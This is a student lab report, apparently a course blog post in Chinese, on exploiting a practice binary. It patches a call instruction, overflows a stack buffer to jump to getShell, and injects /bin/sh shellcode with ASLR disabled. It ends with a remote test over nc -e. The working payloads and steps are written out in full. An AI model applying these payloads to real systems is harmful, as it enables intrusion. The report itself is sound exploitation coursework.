逆向破解实验报告

逆向破解实验报告

实验目标

实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

汇编指令

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

实验步骤

直接修改程序机器指令

首先进行反汇编

  • 可以看到main、foo、getshell。在main调用了foo函数,此时EIP的值应该是80484ba,机器指令e8 d7 ff ff ff是进行跳转,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,即foo函数地址。
  • 我们要修改机器指令让main调用getshell,可以看到getshell的地址是0804847d;所以用0804847d - 080484ba = -3d 补码c3所以我们要将机器码中d7修改为c3。
  • 先对pwn20191304进行备份然后用vim对其进行修改



  • 然后转换成16进制模式,找到正确的d7位置,按 i 进入insert模式进行修改,最后再转换成原格式,退出并保存。
Esc
:%!xxd
i
d7改为c3
:%!xxd -r
Esc
:wq
  • 然后可以进行反汇编查看是否修改正确
  • 再次运行代码可以看到成功调用getshell

构造输入参数,造成BOF攻击

  • 这个函数有Buffer overflow漏洞,其中系统只预留的缓冲区有限,所以我们可以构造输入的字符串导致缓冲区溢出,溢出的部分会覆盖返回地址,达到我们的目的。我们要将getshell的地址覆盖掉foo的地址,首先需要找到那些溢出部分会覆盖掉foo的地址
  • 同样我们进行对pwn20191304备份操作,然后利用gdb进行调试。
  • 输入1111111122222222333333334444444412345678,可以发现其中“1234”覆盖了返回地址
  • 我们对输入的字符串进行修改,把其中“1234”改为getshell地址“11111111222222223333333344444444\x7d\x84\x04\x08”。因为可以观察到被覆盖的内容是“0x34333231”,所以顺序是“\x7d\x84\x04\x08”。因为无法手动输入其相应的十六进制值,所以利用“>”输出重定向到input。其中x0a表示回车
  • 可以使用16进制查看指令xxd查看input文件的内容
  • 然后将input的输入,通过管道符“|”,作为pwn20191304_2的输入。
  • 可以看到我们成功调用了getshell

注入Shellcode并执行

  • shellcode就是一段机器指令(code
  • 首先我们进行一些准备,我们需要设置堆栈可执行并且关闭地址随机化
execstack -s pwn20191304_3    //设置堆栈可执行
execstack -q pwn20191304_3    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

  • 这里我们需要使用root用户来关闭地址随机化

    构造要注入的payload;结构为:anything+retaddr+nops+shellcode;
 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 我们需要确定\x4\x3\x2\x1到底该填什么。首先打开一个终端注入这段攻击buf,然后再开另外一个终端,用gdb来调试pwn1这个进程;首先查询到该终端,然后利用gdb进行调试,
  • 在foo设置断点,然后找到0x080484ae。继续设置断点break *0x080484ae。按“c”继续,然后在另外一个终端中按下回车。info r esp查看寄存器的值,找到 0xffffd12c,利用x/16x 0xffffd12c找到了01020304
  • 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd12c+4=0xffffd130;所以我们重新修改input_shellcode的内容如下
perl -e 'print "A" x 32;print "\x30\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 再次运行发成成功调用getshell。

结合nc模拟远程攻击

我们在将另一台虚拟机当作主机B,两台主机进行ping通


然后主机A模拟一个有漏洞的网络服务:nc -l 192.168.226.135 -p 28234 -e ./pwn20191304_4

主机B连接主机1并发送攻击载荷

可以看到成功调用了getshell

posted @ 2022-03-27 21:44  20191304商苏赫  阅读(90)  评论(0编辑  收藏  举报
Live2D